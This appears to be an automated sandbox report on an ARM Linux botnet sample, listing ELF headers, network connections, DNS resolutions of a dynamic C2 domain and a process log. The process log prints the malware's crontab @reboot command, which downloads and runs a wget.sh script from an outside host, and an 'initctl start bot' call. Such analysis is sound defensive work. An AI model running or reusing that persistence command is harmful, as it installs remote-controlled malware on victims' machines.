                                                          ELF header

                                                          Class:ELF32
                                                          Data:2's complement, little endian
                                                          Version:1 (current)
                                                          Machine:ARM
                                                          Version Number:0x1
                                                          Type:EXEC (Executable file)
                                                          OS/ABI:UNIX - System V
                                                          ABI Version:0
                                                          Entry Point Address:0x8194
                                                          Flags:0x4000002
                                                          ELF Header Size:52
                                                          Program Header Offset:52
                                                          Program Header Size:32
                                                          Number of Program Headers:5
                                                          Section Header Offset:104196
                                                          Section Header Size:40
                                                          Number of Section Headers:18
                                                          Header String Table Index:17
                                                          NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                                                          NULL0x00x00x00x00x0000
                                                          .initPROGBITS0x80d40xd40x100x00x6AX004
                                                          .textPROGBITS0x80f00xf00x16bf40x00x6AX0016
                                                          .finiPROGBITS0x1ece40x16ce40x100x00x6AX004
                                                          .rodataPROGBITS0x1ecf80x16cf80x17740x00x2A008
                                                          .ARM.extabPROGBITS0x2046c0x1846c0x180x00x2A004
                                                          .ARM.exidxARM_EXIDX0x204840x184840x1200x00x82AL204
                                                          .eh_framePROGBITS0x285a40x185a40x40x00x3WA004
                                                          .tbssNOBITS0x285a80x185a80x80x00x403WAT004
                                                          .init_arrayINIT_ARRAY0x285a80x185a80x40x00x3WA004
                                                          .fini_arrayFINI_ARRAY0x285ac0x185ac0x40x00x3WA004
                                                          .jcrPROGBITS0x285b00x185b00x40x00x3WA004
                                                          .gotPROGBITS0x285b40x185b40xac0x40x3WA004
                                                          .dataPROGBITS0x286600x186600x2300x00x3WA004
                                                          .bssNOBITS0x288900x188900x5f2c0x00x3WA004
                                                          .commentPROGBITS0x00x188900xdcc0x00x0001
                                                          .ARM.attributesARM_ATTRIBUTES0x00x1965c0x160x00x0001
                                                          .shstrtabSTRTAB0x00x196720x910x00x0001
                                                          TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                                                          EXIDX0x184840x204840x204840x1200x1204.59860x4R 0x4.ARM.exidx
                                                          LOAD0x00x80000x80000x185a40x185a46.14160x5R E0x8000.init .text .fini .rodata .ARM.extab .ARM.exidx
                                                          LOAD0x185a40x285a40x285a40x2ec0x62184.07850x6RW 0x8000.eh_frame .tbss .init_array .fini_array .jcr .got .data .bss
                                                          TLS0x185a80x285a80x285a80x00x80.00000x4R 0x4.tbss
                                                          GNU_STACK0x00x00x00x00x00.00000x7RWE0x4
                                                          TimestampSource PortDest PortSource IPDest IP
                                                          Oct 24, 2024 15:13:49.298731089 CEST43928443192.168.2.2391.189.91.42
                                                          Oct 24, 2024 15:13:51.619868994 CEST464627994192.168.2.2388.151.195.22
                                                          Oct 24, 2024 15:13:51.625910044 CEST79944646288.151.195.22192.168.2.23
                                                          Oct 24, 2024 15:13:51.625984907 CEST464627994192.168.2.2388.151.195.22
                                                          Oct 24, 2024 15:13:51.626336098 CEST464627994192.168.2.2388.151.195.22
                                                          Oct 24, 2024 15:13:51.631683111 CEST79944646288.151.195.22192.168.2.23
                                                          Oct 24, 2024 15:13:51.631714106 CEST464627994192.168.2.2388.151.195.22
                                                          Oct 24, 2024 15:13:51.637384892 CEST79944646288.151.195.22192.168.2.23
                                                          Oct 24, 2024 15:13:52.591834068 CEST79944646288.151.195.22192.168.2.23
                                                          Oct 24, 2024 15:13:52.591954947 CEST464627994192.168.2.2388.151.195.22
                                                          Oct 24, 2024 15:13:52.595925093 CEST464627994192.168.2.2388.151.195.22
                                                          Oct 24, 2024 15:13:54.929878950 CEST42836443192.168.2.2391.189.91.43
                                                          Oct 24, 2024 15:13:56.209749937 CEST4251680192.168.2.23109.202.202.202
                                                          Oct 24, 2024 15:14:02.670489073 CEST3989624368192.168.2.23213.182.204.57
                                                          Oct 24, 2024 15:14:02.677182913 CEST2436839896213.182.204.57192.168.2.23
                                                          Oct 24, 2024 15:14:02.677367926 CEST3989624368192.168.2.23213.182.204.57
                                                          Oct 24, 2024 15:14:02.677367926 CEST3989624368192.168.2.23213.182.204.57
                                                          Oct 24, 2024 15:14:02.685610056 CEST2436839896213.182.204.57192.168.2.23
                                                          Oct 24, 2024 15:14:02.685743093 CEST3989624368192.168.2.23213.182.204.57
                                                          Oct 24, 2024 15:14:02.692816973 CEST2436839896213.182.204.57192.168.2.23
                                                          Oct 24, 2024 15:14:10.543742895 CEST43928443192.168.2.2391.189.91.42
                                                          Oct 24, 2024 15:14:12.686028004 CEST3989624368192.168.2.23213.182.204.57
                                                          Oct 24, 2024 15:14:12.691734076 CEST2436839896213.182.204.57192.168.2.23
                                                          Oct 24, 2024 15:14:12.942792892 CEST2436839896213.182.204.57192.168.2.23
                                                          Oct 24, 2024 15:14:12.942862988 CEST3989624368192.168.2.23213.182.204.57
                                                          Oct 24, 2024 15:14:20.782356024 CEST42836443192.168.2.2391.189.91.43
                                                          Oct 24, 2024 15:14:26.925497055 CEST4251680192.168.2.23109.202.202.202
                                                          Oct 24, 2024 15:14:51.502294064 CEST43928443192.168.2.2391.189.91.42
                                                          Oct 24, 2024 15:15:11.975373983 CEST42836443192.168.2.2391.189.91.43
                                                          Oct 24, 2024 15:15:32.980621099 CEST3989624368192.168.2.23213.182.204.57
                                                          Oct 24, 2024 15:15:32.986450911 CEST2436839896213.182.204.57192.168.2.23
                                                          Oct 24, 2024 15:15:33.230377913 CEST2436839896213.182.204.57192.168.2.23
                                                          Oct 24, 2024 15:15:33.230520964 CEST3989624368192.168.2.23213.182.204.57
                                                          Oct 24, 2024 15:16:53.289695978 CEST3989624368192.168.2.23213.182.204.57
                                                          Oct 24, 2024 15:16:53.295531034 CEST2436839896213.182.204.57192.168.2.23
                                                          Oct 24, 2024 15:16:53.538234949 CEST2436839896213.182.204.57192.168.2.23
                                                          Oct 24, 2024 15:16:53.538664103 CEST3989624368192.168.2.23213.182.204.57
                                                          TimestampSource PortDest PortSource IPDest IP
                                                          Oct 24, 2024 15:13:51.584723949 CEST4146953192.168.2.23217.160.70.42
                                                          Oct 24, 2024 15:13:51.612431049 CEST5341469217.160.70.42192.168.2.23
                                                          Oct 24, 2024 15:13:51.760967016 CEST5626753192.168.2.23217.160.70.42
                                                          Oct 24, 2024 15:13:51.789673090 CEST5356267217.160.70.42192.168.2.23
                                                          Oct 24, 2024 15:13:51.885389090 CEST3599853192.168.2.23194.36.144.87
                                                          Oct 24, 2024 15:13:51.895944118 CEST5335998194.36.144.87192.168.2.23
                                                          Oct 24, 2024 15:13:57.653559923 CEST3988753192.168.2.2370.34.254.19
                                                          Oct 24, 2024 15:14:02.657502890 CEST3987053192.168.2.23202.61.197.122
                                                          Oct 24, 2024 15:14:02.670059919 CEST5339870202.61.197.122192.168.2.23
                                                          TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                          Oct 24, 2024 15:13:51.584723949 CEST192.168.2.23217.160.70.420x8fceStandard query (0)kingstonwikkerink.dynA (IP address)IN (0x0001)false
                                                          Oct 24, 2024 15:13:57.653559923 CEST192.168.2.2370.34.254.190x57c4Standard query (0)kingstonwikkerink.dynA (IP address)IN (0x0001)false
                                                          Oct 24, 2024 15:14:02.657502890 CEST192.168.2.23202.61.197.1220x5e1fStandard query (0)kingstonwikkerink.dynA (IP address)IN (0x0001)false
                                                          TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                          Oct 24, 2024 15:13:51.612431049 CEST217.160.70.42192.168.2.230x8fceNo error (0)kingstonwikkerink.dyn185.82.200.181A (IP address)IN (0x0001)false
                                                          Oct 24, 2024 15:13:51.612431049 CEST217.160.70.42192.168.2.230x8fceNo error (0)kingstonwikkerink.dyn91.149.238.18A (IP address)IN (0x0001)false
                                                          Oct 24, 2024 15:13:51.612431049 CEST217.160.70.42192.168.2.230x8fceNo error (0)kingstonwikkerink.dyn31.13.248.89A (IP address)IN (0x0001)false
                                                          Oct 24, 2024 15:13:51.612431049 CEST217.160.70.42192.168.2.230x8fceNo error (0)kingstonwikkerink.dyn88.151.195.22A (IP address)IN (0x0001)false
                                                          Oct 24, 2024 15:13:51.612431049 CEST217.160.70.42192.168.2.230x8fceNo error (0)kingstonwikkerink.dyn194.87.198.29A (IP address)IN (0x0001)false
                                                          Oct 24, 2024 15:13:51.612431049 CEST217.160.70.42192.168.2.230x8fceNo error (0)kingstonwikkerink.dyn195.133.92.51A (IP address)IN (0x0001)false
                                                          Oct 24, 2024 15:13:51.612431049 CEST217.160.70.42192.168.2.230x8fceNo error (0)kingstonwikkerink.dyn213.182.204.57A (IP address)IN (0x0001)false
                                                          Oct 24, 2024 15:13:51.612431049 CEST217.160.70.42192.168.2.230x8fceNo error (0)kingstonwikkerink.dyn193.233.193.45A (IP address)IN (0x0001)false
                                                          Oct 24, 2024 15:13:51.612431049 CEST217.160.70.42192.168.2.230x8fceNo error (0)kingstonwikkerink.dyn81.29.149.178A (IP address)IN (0x0001)false
                                                          Oct 24, 2024 15:13:51.612431049 CEST217.160.70.42192.168.2.230x8fceNo error (0)kingstonwikkerink.dyn91.149.218.232A (IP address)IN (0x0001)false
                                                          Oct 24, 2024 15:13:51.612431049 CEST217.160.70.42192.168.2.230x8fceNo error (0)kingstonwikkerink.dyn86.107.100.80A (IP address)IN (0x0001)false
                                                          Oct 24, 2024 15:14:02.670059919 CEST202.61.197.122192.168.2.230x5e1fNo error (0)kingstonwikkerink.dyn193.233.193.45A (IP address)IN (0x0001)false
                                                          Oct 24, 2024 15:14:02.670059919 CEST202.61.197.122192.168.2.230x5e1fNo error (0)kingstonwikkerink.dyn86.107.100.80A (IP address)IN (0x0001)false
                                                          Oct 24, 2024 15:14:02.670059919 CEST202.61.197.122192.168.2.230x5e1fNo error (0)kingstonwikkerink.dyn91.149.238.18A (IP address)IN (0x0001)false
                                                          Oct 24, 2024 15:14:02.670059919 CEST202.61.197.122192.168.2.230x5e1fNo error (0)kingstonwikkerink.dyn91.149.218.232A (IP address)IN (0x0001)false
                                                          Oct 24, 2024 15:14:02.670059919 CEST202.61.197.122192.168.2.230x5e1fNo error (0)kingstonwikkerink.dyn81.29.149.178A (IP address)IN (0x0001)false
                                                          Oct 24, 2024 15:14:02.670059919 CEST202.61.197.122192.168.2.230x5e1fNo error (0)kingstonwikkerink.dyn194.87.198.29A (IP address)IN (0x0001)false
                                                          Oct 24, 2024 15:14:02.670059919 CEST202.61.197.122192.168.2.230x5e1fNo error (0)kingstonwikkerink.dyn31.13.248.89A (IP address)IN (0x0001)false
                                                          Oct 24, 2024 15:14:02.670059919 CEST202.61.197.122192.168.2.230x5e1fNo error (0)kingstonwikkerink.dyn88.151.195.22A (IP address)IN (0x0001)false
                                                          Oct 24, 2024 15:14:02.670059919 CEST202.61.197.122192.168.2.230x5e1fNo error (0)kingstonwikkerink.dyn185.82.200.181A (IP address)IN (0x0001)false
                                                          Oct 24, 2024 15:14:02.670059919 CEST202.61.197.122192.168.2.230x5e1fNo error (0)kingstonwikkerink.dyn213.182.204.57A (IP address)IN (0x0001)false
                                                          Oct 24, 2024 15:14:02.670059919 CEST202.61.197.122192.168.2.230x5e1fNo error (0)kingstonwikkerink.dyn195.133.92.51A (IP address)IN (0x0001)false

                                                          System Behavior

                                                          Start time (UTC):13:13:41
                                                          Start date (UTC):24/10/2024
                                                          Path:/usr/bin/dash
                                                          Arguments:-
                                                          File size:129816 bytes
                                                          MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                          Start time (UTC):13:13:41
                                                          Start date (UTC):24/10/2024
                                                          Path:/usr/bin/rm
                                                          Arguments:rm -f /tmp/tmp.slrTgTVxmA /tmp/tmp.wyNFB4lbH9 /tmp/tmp.mxqeE7vjoI
                                                          File size:72056 bytes
                                                          MD5 hash:aa2b5496fdbfd88e38791ab81f90b95b

                                                          Start time (UTC):13:13:41
                                                          Start date (UTC):24/10/2024
                                                          Path:/usr/bin/dash
                                                          Arguments:-
                                                          File size:129816 bytes
                                                          MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                          Start time (UTC):13:13:41
                                                          Start date (UTC):24/10/2024
                                                          Path:/usr/bin/cat
                                                          Arguments:cat /tmp/tmp.slrTgTVxmA
                                                          File size:43416 bytes
                                                          MD5 hash:7e9d213e404ad3bb82e4ebb2e1f2c1b3

                                                          Start time (UTC):13:13:41
                                                          Start date (UTC):24/10/2024
                                                          Path:/usr/bin/dash
                                                          Arguments:-
                                                          File size:129816 bytes
                                                          MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                          Start time (UTC):13:13:41
                                                          Start date (UTC):24/10/2024
                                                          Path:/usr/bin/head
                                                          Arguments:head -n 10
                                                          File size:47480 bytes
                                                          MD5 hash:fd96a67145172477dd57131396fc9608

                                                          Start time (UTC):13:13:41
                                                          Start date (UTC):24/10/2024
                                                          Path:/usr/bin/dash
                                                          Arguments:-
                                                          File size:129816 bytes
                                                          MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                          Start time (UTC):13:13:41
                                                          Start date (UTC):24/10/2024
                                                          Path:/usr/bin/tr
                                                          Arguments:tr -d \\000-\\011\\013\\014\\016-\\037
                                                          File size:51544 bytes
                                                          MD5 hash:fbd1402dd9f72d8ebfff00ce7c3a7bb5

                                                          Start time (UTC):13:13:41
                                                          Start date (UTC):24/10/2024
                                                          Path:/usr/bin/dash
                                                          Arguments:-
                                                          File size:129816 bytes
                                                          MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                          Start time (UTC):13:13:41
                                                          Start date (UTC):24/10/2024
                                                          Path:/usr/bin/cut
                                                          Arguments:cut -c -80
                                                          File size:47480 bytes
                                                          MD5 hash:d8ed0ea8f22c0de0f8692d4d9f1759d3

                                                          Start time (UTC):13:13:41
                                                          Start date (UTC):24/10/2024
                                                          Path:/usr/bin/dash
                                                          Arguments:-
                                                          File size:129816 bytes
                                                          MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                          Start time (UTC):13:13:41
                                                          Start date (UTC):24/10/2024
                                                          Path:/usr/bin/cat
                                                          Arguments:cat /tmp/tmp.slrTgTVxmA
                                                          File size:43416 bytes
                                                          MD5 hash:7e9d213e404ad3bb82e4ebb2e1f2c1b3

                                                          Start time (UTC):13:13:41
                                                          Start date (UTC):24/10/2024
                                                          Path:/usr/bin/dash
                                                          Arguments:-
                                                          File size:129816 bytes
                                                          MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                          Start time (UTC):13:13:41
                                                          Start date (UTC):24/10/2024
                                                          Path:/usr/bin/head
                                                          Arguments:head -n 10
                                                          File size:47480 bytes
                                                          MD5 hash:fd96a67145172477dd57131396fc9608

                                                          Start time (UTC):13:13:41
                                                          Start date (UTC):24/10/2024
                                                          Path:/usr/bin/dash
                                                          Arguments:-
                                                          File size:129816 bytes
                                                          MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                          Start time (UTC):13:13:41
                                                          Start date (UTC):24/10/2024
                                                          Path:/usr/bin/tr
                                                          Arguments:tr -d \\000-\\011\\013\\014\\016-\\037
                                                          File size:51544 bytes
                                                          MD5 hash:fbd1402dd9f72d8ebfff00ce7c3a7bb5

                                                          Start time (UTC):13:13:41
                                                          Start date (UTC):24/10/2024
                                                          Path:/usr/bin/dash
                                                          Arguments:-
                                                          File size:129816 bytes
                                                          MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                          Start time (UTC):13:13:41
                                                          Start date (UTC):24/10/2024
                                                          Path:/usr/bin/cut
                                                          Arguments:cut -c -80
                                                          File size:47480 bytes
                                                          MD5 hash:d8ed0ea8f22c0de0f8692d4d9f1759d3

                                                          Start time (UTC):13:13:42
                                                          Start date (UTC):24/10/2024
                                                          Path:/usr/bin/dash
                                                          Arguments:-
                                                          File size:129816 bytes
                                                          MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                          Start time (UTC):13:13:42
                                                          Start date (UTC):24/10/2024
                                                          Path:/usr/bin/rm
                                                          Arguments:rm -f /tmp/tmp.slrTgTVxmA /tmp/tmp.wyNFB4lbH9 /tmp/tmp.mxqeE7vjoI
                                                          File size:72056 bytes
                                                          MD5 hash:aa2b5496fdbfd88e38791ab81f90b95b

                                                          Start time (UTC):13:13:50
                                                          Start date (UTC):24/10/2024
                                                          Path:/tmp/arm7.elf
                                                          Arguments:/tmp/arm7.elf
                                                          File size:4956856 bytes
                                                          MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                                                          Start time (UTC):13:13:50
                                                          Start date (UTC):24/10/2024
                                                          Path:/tmp/arm7.elf
                                                          Arguments:-
                                                          File size:4956856 bytes
                                                          MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                                                          Start time (UTC):13:13:50
                                                          Start date (UTC):24/10/2024
                                                          Path:/bin/sh
                                                          Arguments:/bin/sh -c "(crontab -l ; echo \"@reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh\") | crontab -"
                                                          File size:129816 bytes
                                                          MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                          Start time (UTC):13:13:50
                                                          Start date (UTC):24/10/2024
                                                          Path:/bin/sh
                                                          Arguments:-
                                                          File size:129816 bytes
                                                          MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                          Start time (UTC):13:13:50
                                                          Start date (UTC):24/10/2024
                                                          Path:/bin/sh
                                                          Arguments:-
                                                          File size:129816 bytes
                                                          MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                          Start time (UTC):13:13:50
                                                          Start date (UTC):24/10/2024
                                                          Path:/usr/bin/crontab
                                                          Arguments:crontab -l
                                                          File size:43720 bytes
                                                          MD5 hash:66e521d421ac9b407699061bf21806f5

                                                          Start time (UTC):13:13:50
                                                          Start date (UTC):24/10/2024
                                                          Path:/bin/sh
                                                          Arguments:-
                                                          File size:129816 bytes
                                                          MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                          Start time (UTC):13:13:50
                                                          Start date (UTC):24/10/2024
                                                          Path:/usr/bin/crontab
                                                          Arguments:crontab -
                                                          File size:43720 bytes
                                                          MD5 hash:66e521d421ac9b407699061bf21806f5

                                                          Start time (UTC):13:13:50
                                                          Start date (UTC):24/10/2024
                                                          Path:/tmp/arm7.elf
                                                          Arguments:-
                                                          File size:4956856 bytes
                                                          MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                                                          Start time (UTC):13:13:50
                                                          Start date (UTC):24/10/2024
                                                          Path:/bin/sh
                                                          Arguments:/bin/sh -c "/sbin/initctl start bot"
                                                          File size:129816 bytes
                                                          MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                          Start time (UTC):13:13:50
                                                          Start date (UTC):24/10/2024
                                                          Path:/bin/sh
                                                          Arguments:-
                                                          File size:129816 bytes
                                                          MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                          Start time (UTC):13:13:50
                                                          Start date (UTC):24/10/2024
                                                          Path:/tmp/arm7.elf
                                                          Arguments:-
                                                          File size:4956856 bytes
                                                          MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                                                          Start time (UTC):13:13:51
                                                          Start date (UTC):24/10/2024
                                                          Path:/tmp/arm7.elf
                                                          Arguments:-
                                                          File size:4956856 bytes
                                                          MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                                                          Start time (UTC):13:13:51
                                                          Start date (UTC):24/10/2024
                                                          Path:/tmp/arm7.elf
                                                          Arguments:-
                                                          File size:4956856 bytes
                                                          MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                                                          Start time (UTC):13:13:50
                                                          Start date (UTC):24/10/2024
                                                          Path:/tmp/arm7.elf
                                                          Arguments:-
                                                          File size:4956856 bytes
                                                          MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                                                          Start time (UTC):13:13:50
                                                          Start date (UTC):24/10/2024
                                                          Path:/tmp/arm7.elf
                                                          Arguments:-
                                                          File size:4956856 bytes
                                                          MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1